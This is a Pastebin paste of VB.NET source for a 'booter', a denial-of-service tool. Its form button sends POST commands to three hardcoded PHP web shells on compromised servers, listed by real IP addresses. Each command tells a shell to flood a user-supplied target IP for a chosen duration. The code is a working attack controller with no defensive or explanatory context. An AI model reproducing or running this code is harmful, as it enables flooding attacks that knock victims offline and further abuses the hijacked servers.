Advertisement
Guest User

GREEN3

a guest
Jul 8th, 2011
836
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.02 KB | None | 0 0
  1. Imports System.Net
  2. Imports System.Text
  3. Imports System.IO
  4.  
  5. Public Class Form1
  6.  
  7.     Private Sub SendPOST(ByVal URL As String, ByVal Data As String)
  8.         Try
  9.  
  10.             Dim DataBytes As Byte() = Encoding.ASCII.GetBytes(Data)
  11.             Dim Request As HttpWebRequest = TryCast(WebRequest.Create(URL), HttpWebRequest)
  12.             Request.Method = "POST"
  13.             Request.ContentType = "application/x-www-form-urlencoded"
  14.             Request.ContentLength = DataBytes.Length
  15.  
  16.             Dim PostData As Stream = Request.GetRequestStream()
  17.             PostData.Write(DataBytes, 0, DataBytes.Length)
  18.             PostData.Close()
  19.  
  20.             Dim Response As WebResponse = Request.GetResponse()
  21.             Dim ResponseStream As Stream = Response.GetResponseStream()
  22.             Dim StreamReader As New StreamReader(ResponseStream)
  23.             Dim Text As String = StreamReader.ReadToEnd()
  24.             'Write a Response Into The Shell If You Like.
  25.         Catch
  26.         End Try
  27.     End Sub
  28.  
  29.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  30.         Dim t As New Threading.Thread(AddressOf startboot)
  31.         t.Start()
  32.         MessageBox.Show("Booting has begun on all shells")
  33.     End Sub
  34.  
  35.     Private Sub startboot()
  36.         Dim Shell(2) As String 'Number Of Shells -1
  37.         Shell(0) = "http://203.197.246.13/webdav/panel.php"
  38.         Shell(1) = "http://200.150.182.165/webdav/shell82133.php"
  39.         Shell(2) = "http://200.150.182.165/webdav/config.php"
  40.         Dim i As Integer
  41.  
  42.         Do Until i = Shell.Length
  43.             Boot(Shell(i), TextBox1.Text, TextBox2.Text) 'Boot(ShellURL, IP, Time)
  44.             i += 1
  45.         Loop
  46.  
  47.     End Sub
  48.  
  49.     Private Sub Boot(ByVal Shell As String, ByVal IP As String, ByVal Time As String)
  50.         SendPOST(Shell, "?act=phptools&Host=" & IP & "&Time=" & Time) 'THIS IS ONLY FOR UDP SHELLS, if you have TCP shells that include the port, you might have to use some different PHP command
  51.     End Sub
  52.  
  53. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement